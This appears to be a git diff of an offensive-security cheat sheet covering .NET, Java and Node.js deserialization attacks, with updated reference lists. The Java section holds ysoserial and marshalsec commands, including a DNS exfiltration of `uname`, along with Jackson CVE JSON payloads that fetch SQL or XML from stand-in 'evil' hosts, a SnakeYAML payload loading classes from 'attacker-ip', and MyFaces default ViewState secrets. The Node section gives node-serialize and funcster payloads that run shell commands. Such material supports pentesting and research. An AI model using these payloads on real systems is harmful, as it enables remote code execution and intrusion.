* [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11) * [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - Slides - James Forshaw - September 20, 2012](https://web.archive.org/web/20120920142257/https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
* [Attacking .NET Deserialization - Alvaro Muñoz - 28 avr. 2018](https://youtu.be/eDfGpu3iE4Q) * [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - White Paper - James Forshaw - September 20, 2012](https://web.archive.org/web/20260216023308/https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - Slides](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * [Attacking .NET Deserialization - Alvaro Muñoz - April 28, 2018](https://web.archive.org/web/20200215071108/https://youtu.be/eDfGpu3iE4Q)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - White Paper](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf) * [Attacking .NET Serialization - Alvaro - October 20, 2017](https://web.archive.org/web/20250210175031/https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
* [Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - DEF CON 25 Conference](https://www.youtube.com/watch?v=ZBfBYoK_Wr0) * [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - HackTricks - July 18, 2024](https://web.archive.org/web/20241130213753/https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - Slides](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf) * [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://web.archive.org/web/20260228021314/https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - White Paper](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) * [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - April 23, 2019](https://web.archive.org/web/20230402051324/https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - ALYSSA RAHMANDEC](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits) * [Finding a New DataContractSerializer RCE Gadget Chain - dugisec - November 7, 2019](https://web.archive.org/web/20210926153917/http://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - 04/2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) * [Friday the 13th: JSON Attacks - DEF CON 25 Conference - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://web.archive.org/web/20180908194356/https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
* [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html) * [Friday the 13th: JSON Attacks - Slides - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://web.archive.org/web/20251117062750/https://blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - hacktricks](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net) * [Friday the 13th: JSON Attacks - White Paper - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://web.archive.org/web/20170728193005/https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
* [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Nov 2, 2021 - Shubham Shah](https://blog.assetnote.io/2021/11/02/sitecore-rce/) * [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - Alyssa Rahman - December 13, 2021](https://web.archive.org/web/20221130214048/https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
* [Finding a New DataContractSerializer RCE Gadget Chain - November 7, 2019 - dugisec](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/) * [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Shubham Shah - November 2, 2021](https://web.archive.org/web/20211103083935/https://blog.assetnote.io/2021/11/02/sitecore-rce/)

View File

@@ -1,13 +1,26 @@
# Java Deserialization # Java Deserialization
> Java serialization is the process of converting a Java objects state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.
## Summary
* [Detection](#detection)
* [Tools](#tools)
* [Ysoserial](#ysoserial)
* [Burp extensions using ysoserial](#burp-extensions)
* [Alternative Tooling](#alternative-tooling)
* [YAML Deserialization](#yaml-deserialization)
* [ViewState](#viewstate)
* [References](#references)
## Detection ## Detection
- `"AC ED 00 05"` in Hex * `"AC ED 00 05"` in Hex
* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol. * `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
* `00 05`: STREAM_VERSION. The serialization version. * `00 05`: STREAM_VERSION. The serialization version.
- `"rO0"` in Base64 * `"rO0"` in Base64
- Content-type = "application/x-java-serialized-object" * `Content-Type` = "application/x-java-serialized-object"
- `"H4sIAAAAAAAAAJ"` in gzip(base64) * `"H4sIAAAAAAAAAJ"` in gzip(base64)
## Tools ## Tools
@@ -23,110 +36,280 @@ java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | b
``` ```
**List of payloads included in ysoserial:** **List of payloads included in ysoserial:**
```ps1
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
```
### Burp extensions using ysoserial | Payload | Authors | Dependencies |
| ------------------- | -------------------------------------- | --- |
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4|
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| JRMPClient | @mbechler | |
| JRMPListener | @mbechler | |
| JSON1 | @mbechler | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff | |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME | @mbechler | rome:1.0 |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| URLDNS | @gebl | |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) ### Burp extensions
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial) * [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - Burp extension to perform Java Deserialization Attacks
- [SuperSerial](https://github.com/DirectDefense/SuperSerial) * [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) * [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) - YSOSERIAL Integration with Burp Suite
* [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
* [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
### Alternative Tooling ### Alternative Tooling
- [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) * [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
- [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool * [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) * [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application
- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool * [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form * [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) * [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution * [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format.
```java
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
python deserek.py yss_base.bin --format python > yss_url.py
python yss_url.py yss_new.bin
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
```
* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
```java
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
// -a - generates/tests all payloads for that marshaller
// -t - runs in test mode, unmarshalling the generated payloads after generating them.
// -v - verbose mode, e.g. also shows the generated payload in test mode.
// gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
// arguments - Gadget specific arguments
```
Payload generators for the following marshallers are included:
| Marshaller | Gadget Impact |
| ------------------------------- | ---------------------------------------------- |
| BlazeDSAMF(0&#124;3&#124;X) | JDK only escalation to Java serialization various third party libraries RCEs |
| Hessian&#124;Burlap | various third party RCEs |
| Castor | dependency library RCE |
| Jackson | **possible JDK only RCE**, various third party RCEs |
| Java | yet another third party RCE |
| JsonIO | **JDK only RCE** |
| JYAML | **JDK only RCE** |
| Kryo | third party RCEs |
| KryoAltStrategy | **JDK only RCE** |
| Red5AMF(0&#124;3) | **JDK only RCE** |
| SnakeYAML | **JDK only RCEs** |
| XStream | **JDK only RCEs** |
| YAMLBeans | third party RCE |
## JSON Deserialization
Multiple libraries can be used to handle JSON in Java.
* [json-io](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#json-io-json)
* [Jackson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jackson-json)
* [Fastjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#fastjson-json)
* [Genson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)
* [Flexjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#flexjson-json)
* [Jodd](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jodd-json)
**Jackson**:
Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data.
Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.
To determine if the backend is using Jackson, the most common technique is to send an invalid JSON and inspect the error message. Look for references to either of those:
```java ```java
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
-a - generates/tests all payloads for that marshaller
-t - runs in test mode, unmarshalling the generated payloads after generating them.
-v - verbose mode, e.g. also shows the generated payload in test mode.
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
arguments - Gadget specific arguments
``` ```
Payload generators for the following marshallers are included:<br /> * com.fasterxml.jackson.databind
* org.codehaus.jackson.map
| Marshaller | Gadget Impact **Exploitation**:
| ------------------------------- | ----------------------------------------------
| BlazeDSAMF(0&#124;3&#124;X) | JDK only escalation to Java serialization<br/>various third party libraries RCEs
| Hessian&#124;Burlap | various third party RCEs
| Castor | dependency library RCE
| Jackson | **possible JDK only RCE**, various third party RCEs
| Java | yet another third party RCE
| JsonIO | **JDK only RCE**
| JYAML | **JDK only RCE**
| Kryo | third party RCEs
| KryoAltStrategy | **JDK only RCE**
| Red5AMF(0&#124;3) | **JDK only RCE**
| SnakeYAML | **JDK only RCEs**
| XStream | **JDK only RCEs**
| YAMLBeans | third party RCE
## Gadgets * **CVE-2017-7525**
Require: ```json
* `java.io.Serializable` {
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66v[JAVA_CLASS_B64_ENCODED]AIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}
```
* **CVE-2017-17485**
```json
{
"param": [
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://evil/spel.xml"
]
}
```
* **CVE-2019-12384**
```json
[
"ch.qos.logback.core.db.DriverManagerConnectionSource",
{
"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
}
]
```
* **CVE-2020-36180**
```json
[
"org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS",
{
"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'"
}
]
```
* **CVE-2020-9548**
```json
[
"br.com.anteros.dbcp.AnterosDBCPConfig",
{
"healthCheckRegistry": "ldap://{{interactsh-url}}"
}
]
```
## YAML Deserialization
* [SnakeYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#snakeyaml-yaml)
* [jYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jyaml-yaml)
* [YamlBeans](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#yamlbeans-yaml)
**SnakeYAML**:
SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
```
## ViewState
In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:
* Oracle Mojarra (JSF reference implementation)
* Apache MyFaces
**Tools**:
* [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
* [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.
### Encoding
| Encoding | Starts with |
| ------------- | ----------- |
| base64 | `rO0` |
| base64 + gzip | `H4sIAAA` |
### Storage
The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
The storage method can also be inferred from the viewstate representation in the HTML body.
* **Server side** storage: `value="-XXX:-XXXX"`
* **Client side** storage: `base64 + gzip + Java Object`
### Encryption
By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.
| Encryption Algorithm | HMAC |
| -------------------- | ----------- |
| DES ECB (default) | HMAC-SHA1 |
Supported encryption methods are BlowFish, 3DES, AES and are defined by a context parameter.
The value of these parameters and their secrets can be found inside these XML clauses.
```xml
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
```
Common secrets from the [documentation](https://cwiki.apache.org/confluence/display/MYFACES2/Secure+Your+Application).
| Name | Value |
| -------------------- | ---------------------------------- |
| AES CBC/PKCS5Padding | `NzY1NDMyMTA3NjU0MzIxMA==` |
| DES | `NzY1NDMyMTA=<` |
| DESede | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
| Blowfish | `NzY1NDMyMTA3NjU0MzIxMA` |
| AES CBC | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
| AES CBC IV | `NzY1NDMyMTA3NjU0MzIxMA==` |
* **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
* **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data
## References ## References
- [Github - ysoserial](https://github.com/frohoff/ysoserial) * [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://web.archive.org/web/20230927142712/https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
- [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) * [Exploiting the Jackson RCE: CVE-2017-7525 - Adam Caudill - October 4, 2017](https://web.archive.org/web/20260303123815/https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau | Mar 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) * [Hack The Box - Arkham - 0xRick - August 10, 2019](https://web.archive.org/web/20251125134359/https://0xrick.github.io/hack-the-box/arkham/)
- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) * [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://web.archive.org/web/20250918030712/https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) * [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://web.archive.org/web/20190724143322/https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) * [Jackson gadgets - Anatomy of a vulnerability - Andrea Brancaleoni - 22 Jul 2019](https://web.archive.org/web/20190724143322/https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) * [Jackson Polymorphic Deserialization - FasterXML - July 23, 2020](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) * [Java Deserialization Cheat Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
- [On Jackson CVEs: Dont Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96) * [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://web.archive.org/web/20250909154616/https://www.exploit-db.com/docs/48126)
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464) * [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://web.archive.org/web/20160315020109/http://synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://web.archive.org/web/20181217131654/https://alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [On Jackson CVEs: Dont Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://web.archive.org/web/20201207032909/https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)
* [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://web.archive.org/web/20260210022416/https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
* [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://web.archive.org/web/20250604040229/https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
* [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://web.archive.org/web/20250604034046/https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
* [Friday the 13th JSON Attacks - Alvaro Muñoz & Oleksandr Mirosh - July 28, 2017](https://web.archive.org/web/20170728193005/https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)

View File

@@ -1,15 +1,18 @@
# Node Deserialization # Node Deserialization
> Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.
## Summary ## Summary
* [Exploit](#exploit) * [Methodology](#methodology)
* [node-serialize](#node-serialize) * [node-serialize](#node-serialize)
* [funcster](#funcster) * [funcster](#funcster)
* [References](#references) * [References](#references)
## Exploit ## Methodology
* In Node source code, look for: * In Node source code, look for:
* `node-serialize` * `node-serialize`
* `serialize-to-js` * `serialize-to-js`
* `funcster` * `funcster`
@@ -19,6 +22,7 @@
> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE). > An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
1. Generate a serialized payload 1. Generate a serialized payload
```js ```js
var y = { var y = {
rce : function(){ rce : function(){
@@ -29,10 +33,13 @@
var serialize = require('node-serialize'); var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y)); console.log("Serialized: \n" + serialize.serialize(y));
``` ```
2. Add bracket `()` to force the execution 2. Add bracket `()` to force the execution
```js ```js
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"} {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
``` ```
3. Send the payload 3. Send the payload
### funcster ### funcster
@@ -41,9 +48,8 @@
{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}} {"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}
``` ```
## References ## References
* [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf) * [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://web.archive.org/web/20190820172715/https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
* [NodeJS Deserialization - 8 January 2020- gonczor](https://blacksheephacks.pl/nodejs-deserialization/) * [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://web.archive.org/web/20181031111654/https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
